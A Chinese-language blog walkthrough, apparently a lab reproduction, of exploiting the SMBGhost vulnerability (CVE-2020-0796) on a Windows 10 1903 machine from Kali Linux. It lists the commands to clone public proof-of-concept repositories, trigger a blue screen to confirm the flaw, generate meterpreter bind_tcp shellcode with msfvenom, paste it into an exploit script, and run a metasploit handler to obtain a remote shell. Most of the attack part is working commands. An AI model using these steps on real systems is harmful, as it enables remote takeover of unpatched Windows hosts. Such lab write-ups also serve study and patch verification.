该文详细描述了如何利用KaliLinux攻击Windows10系统，通过下载和执行特定的POC脚本来检测和利用永恒之黑漏洞(CVE-2020-0796)，然后使用msfvenom生成shellcode，结合metasploit框架建立监听并获取shell权限的过程。
一，实验环境
攻击机：kail 192.168.227.132
靶机：win10 1903(关闭防火墙）192.168.227.137
二，复现过程
1，在kali终端下载 POC和Getshell
git clone https://github.com/eerykitty/CVE-2020-0796-PoC
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC已经下载过会显示已存在，并保留在桌面上
2，利用python脚本测试靶机是否存在永恒之黑漏洞
靶机IP如何获取这里就不演示了
python3 CVE-2020-0796.py 靶机IP
靶机出现蓝屏说明存在永恒之黑漏洞
3，使用msfvenom生成python类型(-f python)的shellcode.txt文件
msfconsole
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt
1.打开桌面上的CVE-2020-0796-PoC文件夹中的shellcode.txt文件，复制全部内容。
2.打开桌面上的SMBGhost_RCE_PoC文件夹中的exploit.py，将其中的USER_PAYLOAD字段全部删除，将刚刚复制的shellcode.txt内容粘贴进去
3.将文件中的buf全部改为USER_PAYLOAD
4，进入kali中的msf模块打开监听模块
use exploit/multi/handler #选择监听模块
set payload windows/x64/meterpreter/bind_tcp #使用监听模块
set lport 4444 #监听端口
set rhost 靶机IP #被监听主机
run #运行
若最后一行代码迟迟加载不出来，可试着按下enter键
出现meterpreter >说明已经建立了一个会话连接
5，获取shell权限
shell
攻击完成！
1149
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
